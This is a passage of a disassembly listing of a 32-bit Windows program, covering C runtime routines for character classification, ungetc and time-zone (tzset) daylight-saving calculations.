[edx+ecx*2] and eax, 2 mov [ebp-4], eax loc_4289B5: ; CODE XREF: ___:0042899Ej mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_443B70, 1 jle short loc_4289E0 push 4 mov eax, [ebp+8] push eax call sub_41DA90 add esp, 8 mov [ebp-4], eax jmp short loc_4289F5 ; --------------------------------------------------------------------------- loc_4289E0: ; CODE XREF: ___:004289CBj mov ecx, [ebp+8] mov edx, off_443C7C xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp-4], eax loc_4289F5: ; CODE XREF: ___:004289DEj mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_443B70, 1 jle short loc_428A23 push 80h mov eax, [ebp+8] push eax call sub_41DA90 add esp, 8 mov [ebp-4], eax jmp short loc_428A3A ; --------------------------------------------------------------------------- loc_428A23: ; CODE XREF: ___:00428A0Bj mov ecx, [ebp+8] mov edx, off_443C7C xor eax, eax mov ax, [edx+ecx*2] and eax, 80h mov [ebp-4], eax loc_428A3A: ; CODE XREF: ___:00428A21j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428A50 proc near ; CODE XREF: sub_420920+105p ; sub_421DE0+24p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_443B70, 1 jle short loc_428A70 push 8 mov eax, [ebp+arg_0] push eax call sub_41DA90 add esp, 8 mov [ebp+var_4], eax jmp short loc_428A85 ; --------------------------------------------------------------------------- loc_428A70: ; CODE XREF: sub_428A50+Bj mov ecx, [ebp+arg_0] mov edx, off_443C7C xor eax, eax mov ax, [edx+ecx*2] and eax, 8 mov [ebp+var_4], eax loc_428A85: ; CODE XREF: sub_428A50+1Ej mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_428A50 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_443B70, 1 jle short loc_428AB0 push 10h mov eax, [ebp+8] push eax call sub_41DA90 add esp, 8 mov [ebp-4], eax jmp short loc_428AC5 ; --------------------------------------------------------------------------- loc_428AB0: ; CODE XREF: ___:00428A9Bj mov ecx, [ebp+8] mov edx, off_443C7C xor eax, eax mov ax, [edx+ecx*2] and eax, 10h mov [ebp-4], eax loc_428AC5: ; CODE XREF: ___:00428AAEj mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_443B70, 1 jle short loc_428AF3 push 107h mov eax, [ebp+8] push eax call sub_41DA90 add esp, 8 mov [ebp-4], eax jmp short loc_428B0A ; --------------------------------------------------------------------------- loc_428AF3: ; CODE XREF: ___:00428ADBj mov ecx, [ebp+8] mov edx, off_443C7C xor eax, eax mov ax, [edx+ecx*2] and eax, 107h mov [ebp-4], eax loc_428B0A: ; CODE XREF: ___:00428AF1j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_443B70, 1 jle short loc_428B43 push 157h mov eax, [ebp+8] push eax call sub_41DA90 add esp, 8 mov [ebp-4], eax jmp short loc_428B5A ; --------------------------------------------------------------------------- loc_428B43: ; CODE XREF: ___:00428B2Bj mov ecx, [ebp+8] mov edx, off_443C7C xor eax, eax mov ax, [edx+ecx*2] and eax, 157h mov [ebp-4], eax loc_428B5A: ; CODE XREF: ___:00428B41j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_443B70, 1 jle short loc_428B93 push 117h mov eax, [ebp+8] push eax call sub_41DA90 add esp, 8 mov [ebp-4], eax jmp short loc_428BAA ; --------------------------------------------------------------------------- loc_428B93: ; CODE XREF: ___:00428B7Bj mov ecx, [ebp+8] mov edx, off_443C7C xor eax, eax mov ax, [edx+ecx*2] and eax, 117h mov [ebp-4], eax loc_428BAA: ; CODE XREF: ___:00428B91j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_443B70, 1 jle short loc_428BE0 push 20h mov eax, [ebp+8] push eax call sub_41DA90 add esp, 8 mov [ebp-4], eax jmp short loc_428BF5 ; --------------------------------------------------------------------------- loc_428BE0: ; CODE XREF: ___:00428BCBj mov ecx, [ebp+8] mov edx, off_443C7C xor eax, eax mov ax, [edx+ecx*2] and eax, 20h mov [ebp-4], eax loc_428BF5: ; CODE XREF: ___:00428BDEj mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword ptr [ebp+8], 80h sbb eax, eax neg eax pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] and eax, 7Fh pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 cmp dword_443B70, 1 jle short loc_428C45 push 103h mov eax, [ebp+8] push eax call sub_41DA90 add esp, 8 mov [ebp-4], eax jmp short loc_428C5C ; --------------------------------------------------------------------------- loc_428C45: ; CODE XREF: ___:00428C2Dj mov ecx, [ebp+8] mov edx, off_443C7C xor eax, eax mov ax, [edx+ecx*2] and eax, 103h mov [ebp-4], eax loc_428C5C: ; CODE XREF: ___:00428C43j cmp dword ptr [ebp-4], 0 jnz short loc_428C71 cmp dword ptr [ebp+8], 5Fh jz short loc_428C71 mov dword ptr [ebp-8], 0 jmp short loc_428C78 ; --------------------------------------------------------------------------- loc_428C71: ; CODE XREF: ___:00428C60j ; ___:00428C66j mov dword ptr [ebp-8], 1 loc_428C78: ; CODE XREF: ___:00428C6Fj mov eax, [ebp-8] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 cmp dword_443B70, 1 jle short loc_428CA5 push 107h mov eax, [ebp+8] push eax call sub_41DA90 add esp, 8 mov [ebp-4], eax jmp short loc_428CBC ; --------------------------------------------------------------------------- loc_428CA5: ; CODE XREF: ___:00428C8Dj mov ecx, [ebp+8] mov edx, off_443C7C xor eax, eax mov ax, [edx+ecx*2] and eax, 107h mov [ebp-4], eax loc_428CBC: ; CODE XREF: ___:00428CA3j cmp dword ptr [ebp-4], 0 jnz short loc_428CD1 cmp dword ptr [ebp+8], 5Fh jz short loc_428CD1 mov dword ptr [ebp-8], 0 jmp short loc_428CD8 ; --------------------------------------------------------------------------- loc_428CD1: ; CODE XREF: ___:00428CC0j ; ___:00428CC6j mov dword ptr [ebp-8], 1 loc_428CD8: ; CODE XREF: ___:00428CCFj mov eax, [ebp-8] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_428CE0 proc near ; CODE XREF: sub_420920+9D7p ; sub_420920+A65p ... cmp cl, 40h jnb short loc_428CFA cmp cl, 20h jnb short loc_428CF0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_428CF0: ; CODE XREF: sub_428CE0+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_428CFA: ; CODE XREF: sub_428CE0+3j xor eax, eax xor edx, edx retn sub_428CE0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_428D07: ; CODE XREF: ___:00428D2Fj cmp dword ptr [ebp+0Ch], 0 jnz short loc_428D2B push offset dword_4334A4 push 0 push 31h push offset aUngetc_c ; "ungetc.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_428D2B int 3 ; Trap to Debugger loc_428D2B: ; CODE XREF: ___:00428D0Bj ; ___:00428D28j xor eax, eax test eax, eax jnz short loc_428D07 mov ecx, [ebp+0Ch] push ecx call sub_418E90 add esp, 4 mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_428D70 add esp, 8 mov [ebp-4], eax mov ecx, [ebp+0Ch] push ecx call sub_418F00 add esp, 4 mov eax, [ebp-4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428D70 proc near ; CODE XREF: sub_421DC0+11p ; ___:00428D45p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi loc_428D77: ; CODE XREF: sub_428D70+2Fj cmp [ebp+arg_4], 0 jnz short loc_428D9B push offset dword_4334B4 push 0 push 60h push offset aUngetc_c ; "ungetc.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_428D9B int 3 ; Trap to Debugger loc_428D9B: ; CODE XREF: sub_428D70+Bj ; sub_428D70+28j xor eax, eax test eax, eax jnz short loc_428D77 mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_428DD7 mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 1 test eax, eax jnz short loc_428DDF mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jz short loc_428DD7 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 2 test ecx, ecx jz short loc_428DDF loc_428DD7: ; CODE XREF: sub_428D70+3Bj ; sub_428D70+58j or eax, 0FFFFFFFFh jmp loc_428EA7 ; --------------------------------------------------------------------------- loc_428DDF: ; CODE XREF: sub_428D70+48j ; sub_428D70+65j mov edx, [ebp+var_4] cmp dword ptr [edx+8], 0 jnz short loc_428DF4 mov eax, [ebp+var_4] push eax call sub_427F40 add esp, 4 loc_428DF4: ; CODE XREF: sub_428D70+76j mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov eax, [ecx] cmp eax, [edx+8] jnz short loc_428E1F mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0 jz short loc_428E12 or eax, 0FFFFFFFFh jmp loc_428EA7 ; --------------------------------------------------------------------------- loc_428E12: ; CODE XREF: sub_428D70+98j mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax loc_428E1F: ; CODE XREF: sub_428D70+8Fj mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 40h test eax, eax jz short loc_428E5D mov ecx, [ebp+var_4] mov edx, [ecx] sub edx, 1 mov eax, [ebp+var_4] mov [eax], edx mov ecx, [ebp+var_4] mov edx, [ecx] movsx eax, byte ptr [edx] movsx ecx, byte ptr [ebp+arg_0] cmp eax, ecx jz short loc_428E5B mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax or eax, 0FFFFFFFFh jmp short loc_428EA7 ; --------------------------------------------------------------------------- loc_428E5B: ; CODE XREF: sub_428D70+D7j jmp short loc_428E74 ; --------------------------------------------------------------------------- loc_428E5D: ; CODE XREF: sub_428D70+BAj mov edx, [ebp+var_4] mov eax, [edx] sub eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_4] mov eax, [edx] mov cl, byte ptr [ebp+arg_0] mov [eax], cl loc_428E74: ; CODE XREF: sub_428D70:loc_428E5Bj mov edx, [ebp+var_4] mov eax, [edx+4] add eax, 1 mov ecx, [ebp+var_4] mov [ecx+4], eax mov edx, [ebp+var_4] mov eax, [edx+0Ch] and al, 0EFh mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] mov eax, [edx+0Ch] or al, 1 mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov eax, [ebp+arg_0] and eax, 0FFh loc_428EA7: ; CODE XREF: sub_428D70+6Aj ; sub_428D70+9Dj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_428D70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428EB0 proc near ; CODE XREF: sub_421E20+8Ap ; sub_42EC70:loc_42F18Bp push ebp mov ebp, esp cmp dword_4DB3C0, 0 jnz short loc_428EEB push 0Bh call sub_41B780 add esp, 4 cmp dword_4DB3C0, 0 jnz short loc_428EE1 call sub_428F10 mov eax, dword_4DB3C0 add eax, 1 mov dword_4DB3C0, eax loc_428EE1: ; CODE XREF: sub_428EB0+1Dj push 0Bh call sub_41B820 add esp, 4 loc_428EEB: ; CODE XREF: sub_428EB0+Aj pop ebp retn sub_428EB0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0Bh call sub_41B780 add esp, 4 call sub_428F10 push 0Bh call sub_41B820 add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428F10 proc near ; CODE XREF: sub_428EB0+1Fp ; ___:00428EFDp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 push 0Ch call sub_41B780 add esp, 4 mov dword_4DB308, 0 mov dword_444588, 0FFFFFFFFh mov eax, dword_444588 mov dword_444578, eax push offset aTz ; "TZ" call sub_42D080 add esp, 4 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz loc_429093 push 0Ch call sub_41B820 add esp, 4 push offset dword_4DB310 nop call near ptr 283011Ch cmp eax, 0FFFFFFFFh jz loc_42908E mov dword_4DB308, 1 mov ecx, dword_4DB310 imul ecx, 3Ch mov dword_4444E0, ecx xor edx, edx mov dx, word_4DB356 test edx, edx jz short loc_428FB9 mov eax, dword_4DB364 imul eax, 3Ch mov ecx, dword_4444E0 add ecx, eax mov dword_4444E0, ecx loc_428FB9: ; CODE XREF: sub_428F10+91j xor edx, edx mov dx, word_4DB3AA test edx, edx jz short loc_428FEE cmp dword_4DB3B8, 0 jz short loc_428FEE mov dword_4444E4, 1 mov eax, dword_4DB3B8 sub eax, dword_4DB364 imul eax, 3Ch mov dword_4444E8, eax jmp short loc_429002 ; --------------------------------------------------------------------------- loc_428FEE: ; CODE XREF: sub_428F10+B4j ; sub_428F10+BDj mov dword_4444E4, 0 mov dword_4444E8, 0 loc_429002: ; CODE XREF: sub_428F10+DCj lea ecx, [ebp+var_8] push ecx push 0 push 3Fh mov edx, off_44456C push edx push 0FFFFFFFFh push offset dword_4DB314 push 220h mov eax, dword_4DB1C8 push eax nop call near ptr 2710000h test eax, eax jz short loc_42903F cmp [ebp+var_8], 0 jnz short loc_42903F mov ecx, off_44456C mov byte ptr [ecx+3Fh], 0 jmp short loc_429048 ; --------------------------------------------------------------------------- loc_42903F: ; CODE XREF: sub_428F10+11Bj ; sub_428F10+121j mov edx, off_44456C mov byte ptr [edx], 0 loc_429048: ; CODE XREF: sub_428F10+12Dj lea eax, [ebp+var_8] push eax push 0 push 3Fh mov ecx, off_444570 push ecx push 0FFFFFFFFh push offset dword_4DB368 push 220h mov edx, dword_4DB1C8 push edx call near ptr 2710000h nop test eax, eax jz short loc_429085 cmp [ebp+var_8], 0 jnz short loc_429085 mov eax, off_444570 mov byte ptr [eax+3Fh], 0 jmp short loc_42908E ; --------------------------------------------------------------------------- loc_429085: ; CODE XREF: sub_428F10+162j ; sub_428F10+168j mov ecx, off_444570 mov byte ptr [ecx], 0 loc_42908E: ; CODE XREF: sub_428F10+67j ; sub_428F10+173j jmp loc_4292B7 ; --------------------------------------------------------------------------- loc_429093: ; CODE XREF: sub_428F10+49j mov edx, [ebp+var_C] movsx eax, byte ptr [edx] test eax, eax jz short loc_4290BD cmp dword_4DB3BC, 0 jz short loc_4290CC mov ecx, dword_4DB3BC push ecx mov edx, [ebp+var_C] push edx call sub_417870 add esp, 8 test eax, eax jnz short loc_4290CC loc_4290BD: ; CODE XREF: sub_428F10+18Bj push 0Ch call sub_41B820 add esp, 4 jmp loc_4292B7 ; --------------------------------------------------------------------------- loc_4290CC: ; CODE XREF: sub_428F10+194j ; sub_428F10+1ABj push 2 mov eax, dword_4DB3BC push eax call sub_415860 add esp, 8 push 10Ch push offset aTzset_c ; "tzset.c" push 2 mov ecx, [ebp+var_C] push ecx call sub_414BE0 add esp, 4 add eax, 1 push eax call sub_414DD0 add esp, 10h mov dword_4DB3BC, eax cmp dword_4DB3BC, 0 jnz short loc_42911D push 0Ch call sub_41B820 add esp, 4 jmp loc_4292B7 ; --------------------------------------------------------------------------- loc_42911D: ; CODE XREF: sub_428F10+1FCj mov edx, [ebp+var_C] push edx mov eax, dword_4DB3BC push eax call sub_4184C0 add esp, 8 push 0Ch call sub_41B820 add esp, 4 push 3 mov ecx, [ebp+var_C] push ecx mov edx, off_44456C push edx call sub_417770 add esp, 0Ch mov eax, off_44456C mov byte ptr [eax+3], 0 mov ecx, [ebp+var_C] add ecx, 3 mov [ebp+var_C], ecx mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 2Dh jnz short loc_42917D mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_42917D: ; CODE XREF: sub_428F10+259j mov eax, [ebp+var_C] push eax call sub_4173D0 add esp, 4 imul eax, 0E10h mov dword_4444E0, eax loc_429194: ; CODE XREF: sub_428F10+2AEj mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] cmp edx, 2Bh jz short loc_4291B5 mov eax, [ebp+var_C] movsx ecx, byte ptr [eax] cmp ecx, 30h jl short loc_4291C0 mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 39h jg short loc_4291C0 loc_4291B5: ; CODE XREF: sub_428F10+28Dj mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx jmp short loc_429194 ; --------------------------------------------------------------------------- loc_4291C0: ; CODE XREF: sub_428F10+298j ; sub_428F10+2A3j mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 3Ah jnz loc_429265 mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_C] push edx call sub_4173D0 add esp, 4 imul eax, 3Ch mov ecx, dword_4444E0 add ecx, eax mov dword_4444E0, ecx loc_4291F5: ; CODE XREF: sub_428F10+304j mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 30h jl short loc_429216 mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] cmp edx, 39h jg short loc_429216 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_4291F5 ; --------------------------------------------------------------------------- loc_429216: ; CODE XREF: sub_428F10+2EEj ; sub_428F10+2F9j mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] cmp edx, 3Ah jnz short loc_429265 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] push ecx call sub_4173D0 add esp, 4 mov edx, dword_4444E0 add edx, eax mov dword_4444E0, edx loc_429244: ; CODE XREF: sub_428F10+353j mov eax, [ebp+var_C] movsx ecx, byte ptr [eax] cmp ecx, 30h jl short loc_429265 mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 39h jg short loc_429265 mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx jmp short loc_429244 ; --------------------------------------------------------------------------- loc_429265: ; CODE XREF: sub_428F10+2B9j ; sub_428F10+30Fj ... cmp [ebp+var_4], 0 jz short loc_429279 mov edx, dword_4444E0 neg edx mov dword_4444E0, edx loc_429279: ; CODE XREF: sub_428F10+359j mov eax, [ebp+var_C] movsx ecx, byte ptr [eax] mov dword_4444E4, ecx cmp dword_4444E4, 0 jz short loc_4292AE push 3 mov edx, [ebp+var_C] push edx mov eax, off_444570 push eax call sub_417770 add esp, 0Ch mov ecx, off_444570 mov byte ptr [ecx+3], 0 jmp short loc_4292B7 ; --------------------------------------------------------------------------- loc_4292AE: ; CODE XREF: sub_428F10+37Cj mov edx, off_444570 mov byte ptr [edx], 0 loc_4292B7: ; CODE XREF: sub_428F10:loc_42908Ej ; sub_428F10+1B7j ... mov esp, ebp pop ebp retn sub_428F10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4292C0 proc near ; CODE XREF: sub_421E20+CFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 0Bh call sub_41B780 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_4292F0 add esp, 4 mov [ebp+var_4], eax push 0Bh call sub_41B820 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4292C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4292F0 proc near ; CODE XREF: sub_4292C0+12p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4444E4, 0 jnz short loc_429304 xor eax, eax jmp loc_4295E6 ; --------------------------------------------------------------------------- loc_429304: ; CODE XREF: sub_4292F0+Bj mov eax, [ebp+arg_0] mov ecx, [eax+14h] cmp ecx, dword_444578 jnz short loc_429324 mov edx, [ebp+arg_0] mov eax, [edx+14h] cmp eax, dword_444588 jz loc_4294EB loc_429324: ; CODE XREF: sub_4292F0+20j cmp dword_4DB308, 0 jz loc_4294A5 xor ecx, ecx mov cx, word_4DB3A8 test ecx, ecx jnz short loc_429399 xor edx, edx mov dx, word_4DB3B6 push edx xor eax, eax mov ax, word_4DB3B4 push eax xor ecx, ecx mov cx, word_4DB3B2 push ecx xor edx, edx mov dx, word_4DB3B0 push edx push 0 xor eax, eax mov ax, word_4DB3AC push eax xor ecx, ecx mov cx, word_4DB3AE push ecx xor edx, edx mov dx, word_4DB3AA push edx mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 1 call sub_4295F0 add esp, 2Ch jmp short loc_4293EA ; --------------------------------------------------------------------------- loc_429399: ; CODE XREF: sub_4292F0+4Cj xor edx, edx mov dx, word_4DB3B6 push edx xor eax, eax mov ax, word_4DB3B4 push eax xor ecx, ecx mov cx, word_4DB3B2 push ecx xor edx, edx mov dx, word_4DB3B0 push edx xor eax, eax mov ax, word_4DB3AE push eax push 0 push 0 xor ecx, ecx mov cx, word_4DB3AA push ecx mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax push 0 push 1 call sub_4295F0 add esp, 2Ch loc_4293EA: ; CODE XREF: sub_4292F0+A7j xor ecx, ecx mov cx, word_4DB354 test ecx, ecx jnz short loc_429452 xor edx, edx mov dx, word_4DB362 push edx xor eax, eax mov ax, word_4DB360 push eax xor ecx, ecx mov cx, word_4DB35E push ecx xor edx, edx mov dx, word_4DB35C push edx push 0 xor eax, eax mov ax, word_4DB358 push eax xor ecx, ecx mov cx, word_4DB35A push ecx xor edx, edx mov dx, word_4DB356 push edx mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 0 call sub_4295F0 add esp, 2Ch jmp short loc_4294A3 ; --------------------------------------------------------------------------- loc_429452: ; CODE XREF: sub_4292F0+105j xor edx, edx mov dx, word_4DB362 push edx xor eax, eax mov ax, word_4DB360 push eax xor ecx, ecx mov cx, word_4DB35E push ecx xor edx, edx mov dx, word_4DB35C push edx xor eax, eax mov ax, word_4DB35A push eax push 0 push 0 xor ecx, ecx mov cx, word_4DB356 push ecx mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax push 0 push 0 call sub_4295F0 add esp, 2Ch loc_4294A3: ; CODE XREF: sub_4292F0+160j jmp short loc_4294EB ; --------------------------------------------------------------------------- loc_4294A5: ; CODE XREF: sub_4292F0+3Bj push 0 push 0 push 0 push 2 push 0 push 0 push 1 push 4 mov ecx, [ebp+arg_0] mov edx, [ecx+14h] push edx push 1 push 1 call sub_4295F0 add esp, 2Ch push 0 push 0 push 0 push 2 push 0 push 0 push 5 push 0Ah mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 0 call sub_4295F0 add esp, 2Ch loc_4294EB: ; CODE XREF: sub_4292F0+2Ej ; sub_4292F0:loc_4294A3j mov edx, dword_44457C cmp edx, dword_44458C jge short loc_429544 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, dword_44457C jl short loc_429515 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, dword_44458C jle short loc_42951C loc_429515: ; CODE XREF: sub_4292F0+215j xor eax, eax jmp loc_4295E6 ; --------------------------------------------------------------------------- loc_42951C: ; CODE XREF: sub_4292F0+223j mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, dword_44457C jle short loc_429542 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, dword_44458C jge short loc_429542 mov eax, 1 jmp loc_4295E6 ; --------------------------------------------------------------------------- loc_429542: ; CODE XREF: sub_4292F0+238j ; sub_4292F0+246j jmp short loc_429587 ; --------------------------------------------------------------------------- loc_429544: ; CODE XREF: sub_4292F0+207j mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, dword_44458C jl short loc_429560 mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, dword_44457C jle short loc_429567 loc_429560: ; CODE XREF: sub_4292F0+260j mov eax, 1 jmp short loc_4295E6 ; --------------------------------------------------------------------------- loc_429567: ; CODE XREF: sub_4292F0+26Ej mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, dword_44458C jle short loc_429587 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, dword_44457C jge short loc_429587 xor eax, eax jmp short loc_4295E6 ; --------------------------------------------------------------------------- loc_429587: ; CODE XREF: sub_4292F0:loc_429542j ; sub_4292F0+283j ... mov ecx, [ebp+arg_0] mov edx, [ecx+4] imul edx, 3Ch mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, edx mov edx, [ebp+arg_0] mov eax, [edx+8] imul eax, 0E10h add ecx, eax imul ecx, 3E8h mov [ebp+var_4], ecx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, dword_44457C jnz short loc_4295D2 mov eax, [ebp+var_4] cmp eax, dword_444580 jl short loc_4295CE mov eax, 1 jmp short loc_4295E6 ; --------------------------------------------------------------------------- loc_4295CE: ; CODE XREF: sub_4292F0+2D5j xor eax, eax jmp short loc_4295E6 ; --------------------------------------------------------------------------- loc_4295D2: ; CODE XREF: sub_4292F0+2CAj mov ecx, [ebp+var_4] cmp ecx, dword_444590 jge short loc_4295E4 mov eax, 1 jmp short loc_4295E6 ; --------------------------------------------------------------------------- loc_4295E4: ; CODE XREF: sub_4292F0+2EBj xor eax, eax loc_4295E6: ; CODE XREF: sub_4292F0+Fj ; sub_4292F0+227j ... mov esp, ebp pop ebp retn sub_4292F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4295F0 proc near ; CODE XREF: sub_4292F0+9Fp ; sub_4292F0+F2p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_4], 1 jnz loc_4296CC mov eax, [ebp+arg_8] and eax, 3 test eax, eax jnz short loc_429619 mov ecx, [ebp+arg_C] mov edx, dword_444590[ecx*4] mov [ebp+var_C], edx jmp short loc_429626 ; --------------------------------------------------------------------------- loc_429619: ; CODE XREF: sub_4295F0+18j mov eax, [ebp+arg_C] mov ecx, dword_4445C4[eax*4] mov [ebp+var_C], ecx loc_429626: ; CODE XREF: sub_4295F0+27j mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+arg_8] sub eax, 46h imul eax, 16Dh mov ecx, [ebp+var_8] add ecx, eax mov edx, [ebp+arg_8] sub edx, 1 sar edx, 2 lea eax, [ecx+edx-0Dh] cdq mov ecx, 7 idiv ecx mov [ebp+var_4], edx mov edx, [ebp+var_4] cmp edx, [ebp+arg_14] jge short loc_429679 mov eax, [ebp+arg_14] sub eax, [ebp+var_4] mov ecx, [ebp+arg_10] sub ecx, 1 imul ecx, 7 add ecx, [ebp+var_8] add ecx, eax mov [ebp+var_8], ecx jmp short loc_42968D ; --------------------------------------------------------------------------- loc_429679: ; CODE XREF: sub_4295F0+6Ej mov edx, [ebp+arg_14] sub edx, [ebp+var_4] mov eax, [ebp+arg_10] imul eax, 7 add eax, [ebp+var_8] add eax, edx mov [ebp+var_8], eax loc_42968D: ; CODE XREF: sub_4295F0+87j cmp [ebp+arg_10], 5 jnz short loc_4296CA mov ecx, [ebp+arg_8] and ecx, 3 test ecx, ecx jnz short loc_4296AC mov edx, [ebp+arg_C] mov eax, dword_444594[edx*4] mov [ebp+var_10], eax jmp short loc_4296B9 ; --------------------------------------------------------------------------- loc_4296AC: ; CODE XREF: sub_4295F0+ABj mov ecx, [ebp+arg_C] mov edx, dword_4445C8[ecx*4] mov [ebp+var_10], edx loc_4296B9: ; CODE XREF: sub_4295F0+BAj mov eax, [ebp+var_8] cmp eax, [ebp+var_10] jle short loc_4296CA mov ecx, [ebp+var_8] sub ecx, 7 mov [ebp+var_8], ecx loc_4296CA: ; CODE XREF: sub_4295F0+A1j ; sub_4295F0+CFj jmp short loc_429701 ; --------------------------------------------------------------------------- loc_4296CC: ; 